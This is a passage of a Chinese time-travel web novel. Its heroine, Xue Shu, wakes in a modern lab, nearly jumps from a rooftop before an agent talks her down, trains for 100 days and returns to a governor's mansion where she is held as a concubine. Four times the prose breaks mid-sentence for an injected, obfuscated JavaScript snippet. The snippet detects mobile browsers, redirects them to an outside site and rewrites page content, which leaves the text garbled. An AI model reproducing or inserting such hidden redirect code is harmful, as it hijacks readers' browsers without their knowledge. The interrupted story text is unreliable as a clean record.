有她过去三年的苦楚挣扎,被师傅挥舞鞭子催促学艺,人前的含笑卖唱,因为态度倨傲不爱说话,被喝醉酒的纨绔子弟劈面扇了俩耳光。 还有,一开始她天真未消,总想着有一日赎了身,未尝没有重新来过的机会。但每每献曲,赚来的银钱都被鸨母搜走,如何容得她攒下私房? 她自此开启了和鸨母斗智斗勇的人生,一开始输多赢少,藏得的钱财总被搜走,后来她学聪明了,鸨母再搜不出钱财,恼怒之下将她吊起,用藤鞭抽了一顿。 那些日子自然是苦的,可是和总督府相比,又没那么苦。 至少,她不用躺在床上,靠着将自己想象成行尸走肉和精神分裂,熬过一个又一个漫长的夜。 薛殊在黑暗中停下,她突然觉得很累,不想往前。过去三年耗尽了她的力气,她只想找个地方就地躺倒,舒适而惬意地睡上一觉。 但有人不让她如愿,黑暗深处传来隐隐约约的呼唤,很模糊,但持续不断,吵得她合不上眼。 薛殊烦躁地翻了个身,用手捂住耳朵。 于是那人换了个法子,不再叫她的名字,而是放了首曲子。旋律非常熟悉,薛殊有点疑惑,竖耳听了听,那发音含混的歌手似乎在唱:素肧勾勒出青花浓转淡…… 哦对,因为这货发音不标准,薛殊每次听到这句,都把“浓转淡”听成“龙转丹”。 然后就很想吃话梅丹。 但是,这曲子怎么会出现在这里? 当这个念头浮现时,她与空间磁场完成契合,被不由分说地拖了过去。 仿佛有无形的手垫在身下,举着她破浪而出,黑暗纷纷退散,属于人间的天光摧枯拉朽般射入。 薛殊触电似地弹跳了下,猛地坐起身。一群白大褂呼啦啦围上来,七手八脚将她摁了回去。 “别急着坐起来,小心脑震荡。” “感觉怎么样?有没有头晕?想吐吗?” “看这边,认得这是几?” 嘈杂的问话声震荡不休,薛殊头疼得厉害,下意识回答了最后一个问题:“……二。” 白大褂们嗷一嗓子欢呼起来,更多的手伸来,为她测体温、量血压,不知名的仪器绑上手臂、摁住胸口,薛殊茫然四顾,问出那个早该排上日程的问题:“这里是哪?” 她回来了,很显然,但为什么回来、触发了何种机制回来,薛殊一概不知。这让原本值得欢呼雀跃、大醉三天的喜事成了漂在天上的热气球,她不知何时会坠落,她为这一天的到来而惶惶不可终日。 解答疑问的是一个年轻女人,她推开白大褂走进病房,短发簇拥着清秀眉眼。她向薛殊伸出手:“欢迎回到文明世界,薛女士——虽然你在档案上的标注是No.3701,但我猜,你应该更倾向于被称呼姓氏,对吗?” 薛殊不明所以地看着她:“你是谁?” 女人微笑起来。 “确实应该先自我介绍,”她说,“我叫赵文笙,隶属异时空安全部行动处。一周前,我处捣毁了一座非法实验室,救出二十一具实验体,你是唯一一个没有脑死亡,也是唯一一个清醒过来的。” 薛殊一向认为自己脑筋清楚、思维敏捷,这是她头一回觉得脑子不够转。 于是,自称“赵文笙”的行动处处长给她从头梳理了一遍:她不是遭遇车祸,是绑架,策划者是一个非法组织。老大是个剑走偏锋的富豪,不爱财不好赌,最大的兴趣是人体实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849610|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验。 不不不,别误会,不是小日子那种对活人动刀子的人体实验,这货大约是洛基的狂热崇拜者,坚信精神能量能创造维度之间的裂痕,从而实现字面意义上的“时空穿越”。 听上去很天方夜谭对不对?可就是为了这么个天方夜谭的设想,投入海量级的科研资金姑且不论,已经有3000多名或自愿或非自愿的实验者先后付出脑死亡的代价。 薛殊是第3701位。 好消息是,她扛过了时空隧道的碾压,她……或者说,她的精神体,清醒完整地回到现代社会。 坏消息是,她的大脑被安装了传输装置,程序早已编好,一百天后,她将再次回到那个不惜一切逃离的时空。 “情况就是这样,”赵文笙说,“我们曾试着拆除你脑中装置,但它离中枢神经太近了,甚至异化成脑干的一部分。” “很抱歉,我们无法阻止这一进程。” 赵文笙说话简明扼要,薛殊也不是个笨人,刨除中间那一长篇复杂琐碎的原理阐述,她捕捉到两个关键信息点。 首先,过去那三年不是噩梦,不是昏迷中产生的幻觉,是她确实穿了。但穿的不是躯体,而是思维意识,或者说,精神体。 最重要的是,这种穿越是不可逆的,哪怕她现在苏醒过来,一百天后也会被强制送走。 内心的小人不失时机地朝天比了个中指:老天,你玩我呢吧! 但习惯了精分的薛殊脸上平静的找不出任何破绽:“知道了,感谢你们的援救。我什么时候能出院?” 赵文笙轻轻挑了下眉。 这当然是很不寻常的,正常人听说这个噩耗,就算不痛心疾首哭天抢地,最起码也得慌上一阵。 怎么眼前这位薛女士神色淡定……就跟异时空是她家后花园,她一百天后回家散个步,没啥大不了似的? 虽说不排除薛殊抽到的角色卡格外显赫尊贵,能最大限度保证生活质量不下调,但赵文笙还是觉得,她平静的背后藏着特殊的隐情。 出于说不清道不明的直觉,赵文笙安排薛殊出院,却没有放松监控,身后起码跟着一个加强排的眼线,全天候无死角那种。从薛殊踏出医院大门的一刻起,每隔一个小时就有人实时汇报她的行程动向: “薛女士没有回家,她打了辆车,去了附近最大的一家购物商场。” “她买了三条裙子,四件大衣,五双女式高跟鞋,六只皮包,牌子是……这是LV还是LU?” “总花销……好家伙,七万九千二百六十一元,这是日子不过了吗?” “欸等等,她刷的是信用卡?那没事了……反正她三个月后人都不在了,花多少也用不着还。” 握着手机听筒的赵文笙揉了揉太阳穴:“没营养的废话就不必说了,她现在在哪?” “在海底捞,要了个波士顿龙虾汤锅,把什么澳龙、象拔蚌、帝王蟹、生猛红东星斑点了个遍……” 听筒里显而易见地吞了下口水:“赵处,咱们什么时候聚餐啊?” 赵文笙的额头更疼了。 5. 第五章 薛殊彻底放飞自我了。 她当然有理由这么做,任何人被困在那个闹心的时代折腾三年,都会无限怀念现代文明的所有美好便利。纵然那些鞭子没有落在她现代社会的躯体上,但她依然记得每天只吃三分饱,长年累月积攒下来的火烧火燎的饥饿感。 她凭什么不给自己吃饱?她必须吃个十足的饱! 她先去女装专卖柜转了转,将几套早就看好但一直狠不下心刷卡的裙子大衣拿下,然后是鞋子,然后是包包。十几个袋子拿不了,就换了一套上身,其他的找地方寄存起来。 然后是吃饭。薛殊不吃辣,锅底点的是鲜甜口,肥羊卷,要!安格斯牛肉卷,要!虾滑,澳龙,东星斑,一个都不能少! 等到备菜上齐,锅底也沸了,咕嘟咕嘟冒出气泡,格外圆润可爱。她先下牛羊肉,再下海鲜,最后是蔬菜,肥嫩的肥嫩,鲜甜的鲜甜,甘脆的甘脆,蘸了悉心调出的蘸酱,回味微微有一丝辣。 薛殊抬起头,被锅里蒸腾出人间烟火熏得眼角发红,胃里明明已经饱胀,却忍不住想塞一口,再塞一口,把过去三年欠下的油脂和高热量一口气弥补回来。 然后她抻直脖子,打了个响亮的饱嗝。 吃完饭是晚上九点,这一天又是周五,现代人的夜生活才刚开始。薛殊一个人住,父母是老顽童,靠着退休金周游世界,一年足有大半年不在国内。以前薛殊直抱怨,放假回家也见不着人,纯纯花脚猫属性,现在她不抱怨了,她觉得挺好,不然就她这三个月后死不死活不活的编码属性,真不知怎么跟父母解释。 她一直是个生活规律的人,夜里从不迟于十一点睡觉,今天却想放纵一把,买了奶茶,选了午夜电影场,在影院里一坐就是两个多小时,没看出什么名堂,只觉得热热闹闹,到最后一家人又哭又笑,实是第一等欢喜的结局。 可惜再热闹欢喜也有散场的时候,落了幕、亮了灯,人群稀稀拉拉往外走。薛殊一开始跟在里头,后面却不见了踪影,仿佛从来没有过她这个人。 * 赵文笙是夜里十二点半接到电话的,那时薛殊已经失踪了快半个小时。她来不及责骂自知理亏的下属,第一时间调出商场附近的监控和三维地图。 “这地方是闹市区,附近有五座公交站和两个地铁口,我们的人都找遍了,没看到人,”下属说,“她也有可能是打车离开的,但附近禁止出租车停靠,只有两三个地方可以停车,我们已经赶去了。” 赵文笙反问一句:“你要是三个月后变成不死不活的植物人,还会在乎停不停车的问题?” 下属不说话了。 赵文笙将监控翻了个遍,又比照地形图,最后在某一点上果断圈了个红圈。 本市最高的金港湾大厦,夜里风很大。薛殊站在天台上,长发被撩得满脸都是。 她费了好半天的力气,才从发丝间扒拉出一张苍白的脸。是的,很苍白,任谁在实验舱里躺上两三年,脸色都不会太好看。她今晚本不该吃那么多高油高脂肪的食物,长期处于非正常状态的肠胃很容易消化不了,但她控制不住。 哔——的!老娘都不想活了,还不能在闭眼前吃顿好的?这苦逼的人生还有没有天理了! 揣着这样的念头,她往前走了一步,又走一步。天台没有栏杆,她一只脚已经踩在边缘,只要再往前就能彻底踏空,永远告别这个世界。 ——等她摔下去,骨折筋断脑浆成泥,管它精神体还是脑电波都消散了,她倒要看看脑子里那个狗屁装置怎么把她送走。 迎着鼓噪的夜风,薛殊张开手,把自己想象成一只迎着风翱翔的鸟儿,对失重的恐惧就没那么剧烈。 然后她闻到一股香味,过油的那种鲜香,还蘸了蜂蜜芥末汁,有种脂肪饱满的甜美。 薛殊扭过头,看到了赵文笙。 赵文笙捧着纸袋,里面是新鲜出锅的炸鸡。她啃得有滋有味,光听声响就知道那玩意儿外壳有多焦脆,肉质有多鲜嫩,一口 下去汁水丰盈,要多香有多香。 薛殊轻轻咽了下口水,看着她没出声。 赵文笙:“我可以分你一半。” 薛殊还是没说话。 赵文笙想了想:“刚才来的路上,看到有卖烤红薯的。不如这样,你陪我去买两个,再跟我说说你在那边遭遇了什么,我可以考虑不追究你乱刷信用卡,等着三个月后一笔勾销的事。” 薛殊牵了牵嘴角:“然后呢?” “然后,我也许能从过来人的角度,就如何改善现状提出合理化建议。” 薛殊这回真笑了:“你提不出合理化建议。” “不试试怎么知道?” 薛殊不笑了。 她看着赵文笙的眼神很冷,有点似曾相识。赵文笙回忆片刻才想起,她在执行某些不方便摆在台面上的任务时,曾直面过负隅顽抗的亡命徒,那些人的眼睛也是这么沉,这么冷,像两口挖空的坟墓,没有半分活气。 “你要怎么试?”薛殊轻声问,“如果你在‘那边’是个毫无社会地位的妓子,被达官贵人看中买了去,这个‘达官贵人’还是权倾一方的从一品总督,你能说‘不’吗?” “你苦熬三年攒够了赎身钱,指望着换回尊严与自由。那位达官贵人却要说一不二地纳了你,从此没有尊严没有自由,连生出来的孩子都不能叫你娘,生死系于人手,就像店里的宠物猫一样,你能反对吗?” “如果这位达官贵人要你像行尸走肉一样躺在床上,除了喘气不需要别的动静,你能反抗吗?” 薛殊直击灵魂的三连问,把赵文笙问愣住了。 她对薛殊穿越后的处境有过猜测,也尽可能地往糟糕里想象了——家境贫寒,食不果腹,靠乞讨为生,或是被人当奴仆呼喝,动不就挨鞭子。 这些当然很糟糕很可怕,可也说不好跟薛殊经历的相比,哪个更不像人。 她陷入了沉默。 薛殊没等到她的回答,短促地“哈”了一声。应该说,这个结果在她意料之中,所以不怎么失望。 ——就算是崇尚自由民主之光的现代社会,又要怎么把手伸去相隔四百年的异时空,挽救一个泥足深陷的风尘女? 有可能吗? 有必要吗? 她挪开眼,望着天幕之下的霓虹灯影,往后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849611|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半步。 然而脚后跟还没落地,赵文笙忽然抬起头。 “是我把问题想简单了,”她说,“你说得对,你这种情况,确实不是我一个人能解决的。” 薛殊表示赞同,但那个头刚点到一半,忽见赵文笙摸出手机,拨通一个电话。 “喂,是我……帮个忙,把参谋部那帮人挖起来,嗯,开个小会。” 薛殊:……总觉得哪里不太对劲。 没等发问,打完电话的赵文笙看过来:“关于你的问题,组织上需要开会讨论,你把这段时间搜集到的信息汇总一下,待会儿跟参谋部做个简报。” 薛殊:等等,啥玩意儿? 不是……这年头想寻短见都得跟组织做汇报? 也太阴间了吧! 因为太错愕,她完全忘记了自己站在楼顶天台的初衷,被嘟哝着“时间宝贵”的赵文笙一把拖下来。直到懵懵懂懂地进了地下停车场,被赵文笙塞进副驾位,她才后知后觉地回过神。 待会儿做个简报? 我他哔——的简报啥啊? 话说要做PPT吗? 她在胡思乱想中闯过三道警戒线,随着赵文笙一个酷炫的甩尾漂移,窜进了一道带监控摄像的电子门。这地方当然不是一般人能进的,进门要刷卡,进电梯要刷卡,过闸门要刷卡,进会议室还要刷。 薛殊懵懵懂懂地抬起腿,又战战兢兢地收回来,那一瞬只觉得眼睛被闪瞎了——不闪不行,围坐会议桌边的都是军官,肩上一水的星星,那叫一个星光璀璨,别说人眼,钛合金狗眼都扛不住。 赵文笙把她推到一个空位上,自己做了开场白:“这位是薛殊女士,3701名实验体中唯一的幸存者。” 一水的星光加目光转移到薛殊脸上,效果比聚光灯还显著,反正薛殊拿镜子照照,她那张小脸绝对煞白煞白。 “在X时空……鉴于目前尚不清楚薛女士所处时空属于哪一个时代,以及是否在时间线上真实存在过,我们暂且以X时空指代,”赵文笙说,“在X时空,薛女士的处境很复杂,接下来会由她详细说明,作为方案制定的依据和参考。” 她闭上嘴,将场面交由薛殊发挥。后者被他们看着,用目光催促着,那些像石头一样压在胸口,蚂蚁一样啃噬心脏的过往就像长了腿,不知不觉从嘴里溜出。 秦淮河。画舫。妓子。 浙直总督。宋钊。宋氏。 她尽量用平静而客观的语气叙述一切,仿佛故事里那个饱经摧残的主角跟她没有半毛钱干系。她确实做到了……或者说,自以为做到了,因为“星星们”的眼神就像她希望的那样冷静客观,不带丝毫怜悯。 这很好,她也不需要居高临下的同情。 “……大致就是这样,”赵文笙做最后总结,“现在宣布本次行动的战略目标。” 薛殊:……啥? “目标一,帮助No.3701实验体逃脱目前所处困境。目标二,帮助No.3701实验体在所处时空中顺利存活,”赵文笙问,“诸位,有问题吗?” 回答简明扼要,异常清晰。 “没有。” 6. 第六章 参谋部开了一晚上的会,期间不断有人出去,又不断有人进来。薛殊有些扛不住,不,不是犯困,她这具身体睡了三年,早睡饱了。但她晚上吃了太多高油高糖高脂肪的食物,可怜的肠胃消化不了,干脆闹起罢工。 她一开始还想忍着,毕竟所有人都在为她的事操劳费神。直到出去吐了一场,赵文笙才发觉不对,将她带去医务室打了吊瓶。 薛殊躺在长椅上半死不活,胃袋清空,肚子倒是不疼了,就是人疲惫得很。她阖着眼睛打瞌睡,脑袋一点一点,直到有人在她身旁坐下,递来一杯温开水贴住脸颊。 薛殊睁开眼,道了谢,接过杯子轻抿两口:“会开完了?” “本来还能继续,但你的事比较着急,耽搁不起,”赵文笙说,“先拟了初步方案,执行阶段再具体调整。” 她摸出pad:“你要看看吗?” 薛殊随口道:“行啊。” 她接过pad扫了眼,就那么一眼,她就傻眼了。 这个管理异时空的……什么什么部门干活忒细致,给整个“行动”分了好几个阶段,光准备阶段就超百页。那与其说是行动计划,不如说是一份完备的训练方案,从徒手格斗到持枪射击,从谈判技巧到反刑讯话术,甚至连火药配制、拆卸炸弹、轮船与飞机驾驶这些都包涵其中。 薛殊粗略扫完,整个人处于微妙的放空状态,不明白赵文笙是不是把特工人员培养手册错拿过来。 “我有一个问题,”她真挚又诚恳地问,“离我被强制遣送还有一百天,去掉今天就是九十九天。” “九十九个自然日,两千四百七十五个小时,十四万八千五百分钟,哪怕我把每一分每一秒都投入训练,吃喝拉撒全忽略不计,你真觉得我有可能学通这些?” 赵文笙给她倒了热水,自己喝的是冰可乐,很轻的“咔嚓”一声,气泡汩汩冒出,被她用舌头快速舔了圈。 薛殊刚吐完,胃里空空如也,不大争气地“咕唧”一声。 “有些需要你反复锤炼,形成肌肉记忆,有些就学个入门,不要求钻研精通,”赵文笙喉头滑动了下,将一大口可乐咽下,那玩意儿被冰镇透了,刺激得胸肺细胞急剧收紧,薛殊光看着就能想象出,那滋味有多爽,“毕竟,谁也说不好你在‘那边’会遇到什么情况,多准备些总没坏处。” 薛殊挪开眼,谨慎地问道:“如果没准备到呢?” “靠你自己随机应变,如果是应变处理不了的,我们还有后备手段,”赵文笙抹了把嘴,“我跟你说过,你脑子里有特殊的传送定位装置吧?” “说了。” “我们研究过,那玩意儿不只能定位,还能在不同的时空间张开力场,只是受磁场影响,有时强有时弱,”赵文笙说,“根据测试,最强的时间段出现在农历十五,因为月球引力的加持作用,可以在两个时空间勉强张开一条通道。” “到时,我会通过你脑中装置联系上你,有任何问题,咱们线上解决。” 薛殊呆了。 虽然她知道现今的科技发展早已超过日常认知,虽然她能理解大国政府总得暗搓搓藏几手看家底的本事。 可是在不同时空间杀进杀出的本事……这也太逆天了吧! “当然,我们能做的只是打辅助,再多的出谋划策,具体执行层面还要看你自己,”赵文笙对她眨一眨眼,“但至少,这回你不是孤军作战了,不是吗?” 薛殊摁了摁胸口,谨慎地问出最后一个问题:“为什么要帮我?” 赵文笙挑了挑眉。 “我的意思是,我只是个普通人,既没有拯救世界的功勋,也没万千粉丝追捧,你们为什么要花那么多时间精力帮我?”薛殊不解,“值得吗?或者说,这么做有性价比吗?” 赵文笙看了她一眼,手指收紧,只听“喀喇”一声响,喝光的红色罐头被她捏扁。 “看那,”她指给薛殊,“看到哪朵花没?” 薛殊回过头,看到墙角的装饰花盆。那是秋海棠,正从丰茂的叶片中探出花穗,打了两个伶仃的骨朵。 “花有什么用?不过是植物的生殖器,不能结果吃,也派不了别的用途,可就是有一种人,专门负责照料这些柔弱又无用的花骨朵,这种人被称为园丁。” 赵文笙扬起手,捏扁的红色罐头划过抛物线,精准落入垃圾桶中:“我们也是园丁,你也许没名气没粉丝也没有拯救地球的功业,可你长在花园里,我们就得保证你能健康茁壮地开花。” “祖国不会放弃任何一个同胞,哪怕相隔平行时空。好好睡一觉吧小姑娘,从明天开始,睡觉对你而言就是奢侈的享受。” 她抬起一只手摇了摇,头也不回地走了。脚步声消失在走廊尽头,薛殊梗着脖子望着垃圾桶,认为那冒头的一点红色铁皮确实很像花。 当晚,她睡了个好觉。 这也是未来百日中,她最后一个好觉。 从第二天天亮,不,准确地说是从起床号响起的那一刻起,薛殊就不再是薛殊了。 她是薛??牛马??被魔鬼训练折磨的??殊。 * 你见过凌晨四点的操场吗? 薛殊表示,我不仅见过操场,我还见过格斗场、射击场、审讯室、模拟爆破场和模拟驾驶室。 她在操场上奔跑,从一百米快速冲刺间歇训练到五公里全负重越野跑; 她在射击场持枪,从五十米手枪固定靶到一百米狙击枪移动靶; 她在审讯室模拟受审,允许体罚,允许真实受伤,训练时长不固定,以她成功反杀审讯人员,或是从审讯人员口中反套出信息情报为终结; 她在格斗场上奋起揍人……当然更多的时候是被揍,虽然戴着护具,但是被一个身高超过一米九零的壮汉一脚踹飞,滋味还是相当不好受的。 更糟糕的是,她不仅要承受躯体的凌虐,还要克服精神的荼毒,因为赵文笙就拿着一个扩音喇叭站在格斗场边上,使出吃奶的力气狂轰滥炸—— “你他哔——的没吃饱饭吗?就这也配叫格斗?不如回家吃奶吧!” “还记得你跟我说过什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849612|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?要揍翻那个姓宋的,就凭你这细胳膊细腿吗?” “要我说,你也别练了,回去在他床上躺平,不比受这个罪舒坦吗!” 薛殊不是一个容易冲动的人,但就算是她,听到这样的话也要暴走了。说时迟那时快,她从哀嚎呻吟的骨头里逼榨出最后一点力气,居然翻身弹起,冲着一米九的壮汉一顿拳打脚踢。 ……然后毫无悬念,再一次被壮汉揍飞。 “我告诉过你,你是女性,女人的身体素质天生不如男性,正面搏击必须拿出拼命的架势,从气势上压倒对方,才有可能以弱胜强。” 薛殊仰面倒地,有气无力:“我拼了啊。” “但拼命是一回事,热血上头什么都不管是另一回事,”赵文笙循循善诱,“你的身体可以横冲直撞,你的脑子必须清楚:为什么这么做?这样做的意图是什么?如果不能保持清醒,那你很容易掉进对手反设的陷阱里。” 薛殊很认真地想了想:“你的意思是,既要拿出拼命的架势,又要气势上碾压过对手,又要横冲直撞不怕死,还得随时随地保持清醒准备给对手下套?” 赵文笙:“一点没错。” 薛殊很认真地又想了一会儿:“……请问你要的是女人还是神人啊?” 其实她还有疑问,比如练得再刻苦,到时穿的是精神体却不是这具躯体,可怎生是好? 她现在习得的搏击技巧与速射技能,换一具身体还能施展出来吗? 赵文笙思考了一会儿。 “听说过肌肉记忆吗?” 薛殊点头。 “肌肉记忆,不只是肌肉形成条件反射,更是感觉中枢和精神上的习惯性反应,”赵文笙说,“也许你使用的和练习的不是同一具身体,但只要精神体没改版本,哪怕重新来过,也会比从没接触过的事半功倍。” 薛殊摸着下巴若有所思。 “当然,这些只是理论上,毕竟除你之外,谁也没半途换过皮囊,”赵文笙耸了耸肩,“我们也很期待改换躯体后的肌肉记忆效果,记得记录下数据,到时传送回来。” 薛殊脸黑了:“你拿我当小白鼠啊!” 赵文笙一笑,隔着护具揉了揉她发顶。 然后她站起身,重新拎起扩音喇叭,刹那间她脸色变了,嘴毒凶残的魔鬼教官再次披甲上阵。 “还他哔——的等什么?赶紧给老娘站起来!”赵魔鬼咆哮道,“等着那姓宋的八抬大轿抬你回去当小老婆吗!” 薛殊血脉贲张,嗷一嗓子窜了起来。 她学得起劲、练得投入,每天睡得比狗晚,起得比鸡早。赵文笙一开始还监督她,后来发现不行,这货可能是把自己脑白质切除了,每天不用睡觉,恨不能九十九个自然日,每天二十四小时都拿来训练。 自从通过医师资格考试后,她再没这么用功过,生生将自己逼成了卷王。 薛殊可以把自己当海绵,无限量地挤出时间和精力,但倒计时就摆在那儿,不会因为她卷就放慢速度。 一转眼,百日期限到了。 7. 第七章 浙直总督府从来是宁波城最热闹的所在,每日里问安的、送礼的、汇报工作的,来来往往络绎不绝,连院子里的小丫鬟进出都格外有精神头,恨不能将“江南第一人”的金字招牌端脸上。 不过这些天,府门口出乎意料地沉寂,客人少了些许不说,丫鬟们出入也屏息凝神,唯恐惹恼此间主人。 能不小心吗?不看看自家郎君这两天就没给过笑模样,接连发作两名婢女不说,还砸了一套金贵的汝窑茶盏。 宋老太太就很心疼,把沈夫人叫来埋怨,早说赶走那个不省心的浪蹄子,现在可好,闹出这么大祸端,还累得我的宝贝钊哥儿动大气。 沈夫人直喊冤,不是我不想赶走那个浪蹄子,钊哥儿看她跟宝贝似的,不许任何人碰一指头,媳妇儿有什么法子? 仿佛是觉得还击力度不够,她又补刀,昨儿个您老人家亲自发话,要把那个狐媚子处置了,结果呢?还不是被他拿话岔过去? 如今把人安置在闻香阁,当个活宝贝似的,等闲不许人进去,您老人家的话他都不听,媳妇儿又有什么法子? 宋老太太就很不高兴,也不知是因为孙子忤逆还是儿媳顶撞。 引发婆媳争执的罪魁祸首对此一无所知,安安静静地躺在闻香阁里。郎中瞧了好几回,都是摇头叹息,说药石无用,只看命数。但宋钊不肯罢休,又拿自己帖子请了退隐城中的老太医来看,太医隔着帐子把了半天脉,捋着胡须疑惑道:“虽说被烟呛了,瞧这脉象并无妨碍,按说早该醒了,怎会昏睡至今?” 这也是宋钊想问的话,如今被抢了先,脸色就不大好看。 太医又说,若一直醒不过来,怕是这人自己就不想醒,没了求生意念,那就麻烦了。 宋钊脸色更黑了。 他好说歹说,逼着太医开了聊胜于无的方子,又亲自将人送出去。闻香阁里只剩两个小丫鬟,从水盆里拧了湿帕,小心擦拭着床上女子的额头脸颊。 擦完上身又换帕子,却没见着那人睫毛颤了颤,无悄无无息地睁开眼。 小丫鬟再转回来时,便和一双黑白分明的眸子望了个正着。 她吓了一跳,手中帕子“啪”一下落地,好在立刻反应过来,惊恐的调门转了个弯,硬生生兜回惊喜的路子上:“姑娘,您醒了?” 薛殊不说话,就这么平静地看着她。 这当然是很不寻常,无论是谁,做了如她这般轰轰烈烈的大事,本以为此身入土万事休,后面哪怕洪水滔天都不干自己事。谁料闭眼睡了一觉,醒来仍是陷在这万恶的世道中,那些被她打了脸、闹了场的旧债即将排队找上门,都不会太镇定。 但小丫鬟太欣喜,没顾上这一茬,着急忙慌地跑出去报信了。 薛殊攒了一会儿力气,慢慢撑起身。很好,虽然躺了许久,但肌肉萎缩不算太严重,应该能复健回来。 再动动腿,虽说有些发软,但若眼下有个贼人入室,她有把握赏这人一记侧踢,叫他吃不了兜着走。 只不过…… 薛殊闭上眼,想起不久前,赵文笙说的话。 * “你可以反抗,可以用你知道的最歹毒的手段对付他,但我的建议是,在没有掌握一击致命的手段前,最好不要露出形迹。” 赵文笙难得穿了正装,肩章同样佩戴起晃眼的星星。她站在休眠舱前,身姿笔直如松如竹,抬起的臂弯里放着礼帽。 这是极隆重的姿态,用来送别一位即将一去不复返的同胞,也算恰如其分。薛殊却觉得有点夸张,她本想悄悄地离开,打枪的不要,但赵文笙把她的幻想打破了。 怎么说呢? 嗯,有点尬。 “你可以把死亡作为最后的备选,但在尝试过所有道路之前,请不要贸然考虑它,”赵文笙说,“人只要活着,就有无限可能,你总能找到出路。” 薛殊将她的劝告认认真真听进去,然后问:“还有什么叮嘱的?” 赵文笙歪了歪脖子:“从你回到那里,到计划正式开始,有一个月的准备时间。你知道该做些什么,对吧?” 薛殊点头。 “那很好,”赵文笙微笑,捏拳摁住心口,“愿我们相逢在阳光普照的明天。” * 她把光明甩在身后,只身回到化不开的黑暗中。 她被阴影凝聚成的潮水拖拽,再次看到闪闪发亮的“珊瑚礁”,每一株每一杈都是她自己,不管是汗流浃背的,肆意奔跑的,还是一次又一次被揍翻,死猪似地躺平在地上。 这是她的来处,她的根基,她最坚强的后盾和倚仗。 薛殊突然不再害怕黑暗。 她的身后,有一座国在等她。 薛殊睁开眼,看着眼前的雕梁画栋和轻纱软帐,无声无息捏紧了拳头。 “现在咱们再来拼一拼吧!” * 总督府很大,占地不下两条街,气派在宁波城是数一数二的。 但也没那么大,闻香阁有点风吹草动,用不了一个时辰,阖府上下都传遍了。 宋老太太就很气愤,若是那狐媚子一直不醒也罢了,权当摆了座会喘气的美人像,只要不带坏她的钊哥儿,姑且睁一眼闭一眼。 但她醒了,那之前的旧账可得算明白。 应该说,薛殊那一闹还是够本的,虽动不了宋钊筋骨,好歹伤了毛发——如今宁波城数得着的人家,谁不知宋总督纳了个风尘中人,那女子还是不甘不愿,被强逼入的府。 虽说风气如此,狎妓亦不失风流,可到底讲究个郎情妾意水到渠成,如若沾上了“强”字,便是失之下乘。 至于被那婢妾寻着机会大闹一场,毁了宋老太太的寿宴,又撕了宋氏颜面,就不是“丢脸”可以一言以蔽之。 那是把宋氏的脸面撕碎扯烂,再跺上一千脚,生生踩进灰泥里。 最直接的后果,登门明里暗里试探宋钊婚事话风的人,这些日子可不少了许多? 宋老太太将这些归咎在薛殊身上,认为自己愤怒的很有道理,遂不顾沈夫人的劝说,命身边的丫鬟去了闻香阁,将那不懂规矩的轻狂小蹄子押来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849613|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但丫鬟去了半晌,却是一个人回来,支支吾吾半天说了实话:闻香阁的婢女拦着,不让她进去。 “是大郎君的意思,说是香凝姑娘刚醒,身体还虚着,不许人打扰,”婢女嗫嚅道,“婢子连门都没进,就被打发了回来。” 她是宋府的家生子,自小跟着老太太,对宋钊的称呼是极亲切的“郎君”。即便如此,宋钊也没给她好脸色,说打发就打发,连杯热茶也不赏。 她不曾添油加醋,饶是如此,仍气得宋老太太发昏,拍着手边的玉如意恨声道:“你瞧瞧你瞧瞧!如今他连我派去的人都不放在眼里,再这么下去,这狐媚子岂不是要在府里当家作主!” 沈夫人为宋老太太抚着胸口,却没劝阻什么,因为她也是这么想的。 世家子弟可以流连花丛,可以狎妓纳婢,却不能被女色牵住鼻子、蒙蔽心智。 而宋钊眼下所为,实不能称作心明眼亮。 她由着宋老太太派了最信任的粗使婆子过去,远远听着鸡飞狗跳了好一阵,果然将人押了回来。 上回宋老太太匆匆一瞥,只记得这小蹄子作寻常丫鬟打扮,并不如何花红柳绿,相貌却生得极好,难怪能入宝贝孙儿的眼。 